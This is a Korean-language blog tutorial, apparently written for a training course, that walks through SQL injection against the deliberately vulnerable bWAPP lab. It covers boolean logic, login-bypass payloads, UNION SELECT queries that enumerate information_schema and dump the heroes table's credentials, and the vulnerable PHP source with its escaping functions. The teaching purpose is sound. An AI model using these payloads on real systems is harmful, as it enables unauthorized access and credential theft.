정보보안(구버전)/ bWAPP 2019. 1. 31. 16:36

웹 해킹 bWAPP - 16. A1 - Injection - SQL Injection(Login Form/Hero)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. 참(True) & 거짓(False)

 

 - 논리적인 문제를 해결하기 위해서... 이런 얘기는 생략한다.
 - 시스템들은 참을 '1', 거짓을 '0'으로 인식한다.
 - 만약, 판단할 값이 2개 이상 있을 경우, 두 값의 관계(AND, OR, XOR, NOT)에 따라서 결과 값이 참, 거짓으로 나온다.

 

 

 

3. 연산자 우선 순위

 

 - 연산자 우선 순위는 연산자가 실행될 순번를 결정한다. 우선 순위가 높은 연산자일수록 먼저 실행하게 되어있다.

 - Ex) 1 + 3 * 5 = 16  * 곱셈 연산자는 + 덧셈 연산자보다 우선 순위가 높기 때문에 * 곱셈 연산부터 시작한다.

 - 비트/논리 연산자 우선 순위

 

 

   논리 NOT !

              비트 NOT ~
                                비트 AND &
                                                   비트 XOR  ^
                                                                     비트 OR  |
                                                                                     논리 AND &&
                                                                                                           논리 OR  ||

  

 

Ex) A or B AND C

 

 - B와 C의 AND 연산을 실시하여 참/거짓을 구분하고, 해당 결과값을 A와 OR 연산을 실시하여 참/거짓을 구분한다.

 

 

 

4. 비트/논리 연산자

 

 - 참 : 숫자로 표기할 경우, 1로 표기한다.

 - 거짓  : 숫자로 표기할 경우, 0으로 표기한다.

 - 연산자 : NOT(!), AND(&), OR(|), XOR(^)

 

 AND

OR 

XOR 

 1 AND 1 = 1   참
 1 AND 0 = 0   거짓
 0 AND 1 = 0   거짓
 0 AND 0 = 0   거짓

 1 OR 1 = 1   참
 1 OR 0 = 1   참
 0 OR 1 = 1   참
 0 OR 0 = 0   거짓

 

 1 XOR 1 = 0   거짓
 1 XOR 0 = 1   참
 0 XOR 1 = 1   참
 0 XOR 0 = 0   거짓

 

 Ex) 비트연산자

 

 a = 4(2진수 : 100)

 b = 6(2진수 : 110)

 

 100
 110
 ------ AND(&)
 100

 Ex) 비트연산자

 

 a = 4(2진수 : 100)

 b = 6(2진수 : 110)

 

 100
 110
 ------ OR(|)
 110

 

Ex) 비트연산자

 

 a = 4(2진수 : 100)

 b = 6(2진수 : 110)

 

 100
 110
 ------- XOR(^)
 010

 

Ex) 논리연산자

 

 참 && 참 = 참
 참 && 거짓 = 거짓
 거짓 && 거짓 = 거짓

 

Ex) 논리연산자

 

 참 || 참 = 참
 참 || 거짓 = 참
 거짓 || 거짓 = 거짓

Ex) 논리연산자

 

 참 ^ 참 = 거짓
 참 ^ 거짓 = 참
 거짓 ^ 거짓 = 거짓

 

 

Ex) SQL 인젝션 참 & 거짓

 

 - DB heroes Table에 login 칼럼에 'thor' 계정이 있는 상태

 - 소스 : $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";

 - thor ' or 'a'='a 인젝션 실시

 - 결과 :  $sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='a' AND password = ''";

 

 

 login = 'thor ' or 'a'='a' AND password = ''

                          참(1)          거짓(0)    ->      거짓(0)

 

 login = 'thor ' or 거짓

            참(1)      거짓(0)      ->    참(1)   ->  thor ('thor'는 login 컬럼에 있는 정보이기때문에 참으로 처리됨)

 

 

 

 

5. Injection - SQL Injection(Login Form/Hero)

 

 - 이 시나리오는 로그인시 ID/패스워드를 한줄의 쿼리로 입력받을 경우, SQL 인젝션을 통하여 패스워드 힌트 정보를

   획득하는 내용이다.

 

 

16-0. bWAPP 데이터베이스.txt

 

 

Ex1) Injection - SQL Injection(Login Form/Hero) 이해 I

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시(ID/PW를 한줄의 SQL 구문으로 입력 받음)

 

 

 

' or 1=1# 을 입력하여 로그인 시도 및 패스워드 힌트 정보 확인

 

 

 

 

16-1. SQL 인젝션 추가-1.txt

SQL 인젝션을 실시하여 컬럼 결과 확인

 

 

 

16-2. SQL 인젝션 추가-2.txt

SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 버전 정보와 DB 정보 확인

 

 

 

16-3. SQL 인젝션 추가-3.txt

SQL 인젝션을 실시하여 테이블 이름 정보 확인(출력이 한줄이라 테이블명 하나밖에 안나옴)

(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP'#)

 

 

 

16-4. SQL 인젝션 추가-4.txt

SQL 인젝션을 실시하여 Blog 다음 테이블 이름 정보 확인

(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog'#)

 

(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog' and table_name!='heroes' #)

 

(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog' and table_name!='heroes' and table_name!='movies'#)

 

 

 

16-5. SQL 인젝션 추가-5.txt

SQL 인젝션을 실시하여 Heroes 테이블의 컬럼 이름 확인

 (select column_name from columns where table_name="heroes";)

 

 

 

16-6. SQL 인젝션 추가-6.txt

SQL 인젝션을 실시하여 Heroes 테이블의 'Id 컬럼' 다음 컬럼 이름 확인

 

 

 

 

16-7. SQL 인젝션 추가-7.txt

SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 1)와 Login(계정 정보 : Neo) 정보 확인
(' union select 1,login,3,password from heroes limit 0,1 #)

 

 

 

16-8. SQL 인젝션 추가-8.txt

SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 2)와 Login(계정 정보 : Alice) 정보 확인

(' union select 1,login,3,password from heroes limit 1,1 #)

 

 

 

16-9. SQL 인젝션 추가-9.txt

SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 3)와 Login(계정 정보 : Thor) 정보 확인

(' union select 1,login,3,password from heroes limit 2,1 #)

 

 

 

 

Ex2) Injection - SQL Injection(Login Form/Hero) 이해 II

 

 

16-10. SQL 인젝션 추가-10.txt

SQL 인젝션을 실시하여 'thor' 계정 접속 실시

 

 

 

bee@bee-box:/var/www/bWAPP$ ls -l sqli_3.php
-rw-rw-r-- 1 root www-data 6566 2014-11-02 23:52 sqli_3.php

bee@bee-box:/var/www/bWAPP$ vi sqli_3.php

~ 중간 생략 ~


        $login = $_POST["login"];
        $login = sqli($login);

 

        $password = $_POST["password"];
        $password = sqli($password);

 

        $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";

                                                                        로그인 입력                             패스워드 입력

 


        // echo $sql;

        $recordset = mysql_query($sql, $link);

        if(!$recordset)
        {

            die("Error: " . mysql_error());

        }

        else
        {

            $row = mysql_fetch_array($recordset);

            if($row["login"])  // Login만 일치해도 힌트 출력 실시
            {

                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];

            }

 

:q!

 

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='a' AND password = ''";

                                                                                           ②            ①

 

 

'a'='a' AND password = ''   <- 참(1) AND 거짓(0) = 거짓(0)

 

② login = 'thor ' or 거짓(0) =     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 

 

 

[참고] 인젝션 실시 및 참/거짓 이해


Ex1) thor ' or 'b'='b

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'b'='b' AND password = ''";

                                                                                           ②            ①

 

'b'='b' AND password = ''   <- 참(1) AND 거짓(0) = 거짓(0)

 

② login = 'thor ' or 거짓(0) =     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 

 


Ex2) thor ' or 'a'='b

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='b' AND password = ''";

                                                                                           ②            ①

 

'a'='b' AND password = ''   <- 거짓(0) AND 거짓(0) = 거짓(0)

 

② login = 'thor ' or 거짓(0) =     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)


 

 

Ex3) thor ' or '1'='1

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or '1'='1' AND password = ''";

                                                                                           ②            ①

 

'1='1 AND password = ''   <- 참(1) AND 거짓(0) = 거짓(0)

 

② login = 'thor ' or 거짓(0) =     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 

 

Ex4) thor ' or '1'='0

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or '1'='0' AND password = ''";

                                                                                           ②            ①

 

'1'='0' AND password = ''   <- 거짓(0) AND 거짓(0) = 거짓(0)

 

② login = 'thor ' or 거짓(0) =     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)


 

 

Ex5) thor ' or 1=0#

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=0#' AND password = ''";

                                                                                         ②            ①

#' AND password = '' 주석 처리이기 때문에 처리 안됨

 

② login = 'thor ' or 1=0     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 


 

Ex6) thor ' or 1=2#

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=2#' AND password = ''";

                                                                                         ②            ①

 

#' AND password = '' 주석 처리이기 때문에 처리 안됨

 

② login = 'thor ' or 1=2     <- 참(1) or 거짓(0) = 참(1)

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 

 

Ex7) thor ' or 1=1

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=1' AND password = ''";

                                                                                         

 

'thor ' or 1=1' 에서 작은 따옴표가 부족하기 때문에 Syntax 오류가 발생함

 

② thor ' or 1='1 으로 인젝션하면 'thor ' or 1='1' 으로 처리되기 때문에 해결됨

 

 

 

Ex8) thor ' or 1=1#

 

$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=1#' AND password = ''";

                                                                                         ②            ①

 

#' AND password = '' 주석 처리이기 때문에 처리 안됨

 

② login = 'thor ' or 1=1     <- 참(1) or 참(1) = 참(1)     <- login 컬럼 첫번째 정보인 Neo로 로그인됨 )

              (thor는 login 컬럼에 있는 정보이기 때문에 으로 처리가됨)

 

 

 

 

Ex3) 'sqli_3.php' & 'functions_external.php' 파일 내용 확인

bee@bee-box:/var/www/bWAPP$ ls -l sqli_3.php
-rw-rw-r-- 1 root www-data 6566 2014-11-02 23:52 sqli_3.php

bee@bee-box:/var/www/bWAPP$ vi sqli_3.php

~ 중간 생략 ~

 

include("functions_external.php");
include("connect.php");

 

$message = "";

 

function sqli($data)
{

    switch($_COOKIE["security_level"])
    {

        case "0" :

 

 

            $data = no_check($data);
            break;

 

        case "1" :

            $data = sqli_check_1($data);
            break;

 

        case "2" :

 

            $data = sqli_check_2($data);
            break;

 

        default :

 

            $data = no_check($data);
            break;

    }

 

    return $data;

}
 

:q!

 

 

bee@bee-box:/var/www/bWAPP$ gedit functions_external.php

~ 중간 생략 ~

 

function sqli_check_1($data)

{

  

    return addslashes($data);

            // 작은따옴표를 문자열로 이스케이프 실시

}

 

function sqli_check_2($data)

{

  

    return mysql_real_escape_string($data);

            // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시

               (NULL, \n, \r, \, ', ", ^Z)

}

 

function sqli_check_3($link, $data)

{

  

    return mysqli_real_escape_string($link, $data);

   

}

 

function sqli_check_4($data)

{

 

    // Not bulletproof

   

    // Replaces a single quote (')

    $input = str_replace("'", "''", $data);

  

    return $input;

   

 


 


Ex4) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택


 

 

16-11. SQL 인젝션 추가-11.txt
SQL 인젝션 실패

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


웹해킹 16. bWAPP Injection - SQL Injection(Login Form&Hero)   https://youtu.be/GFPAIEqHmNk

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q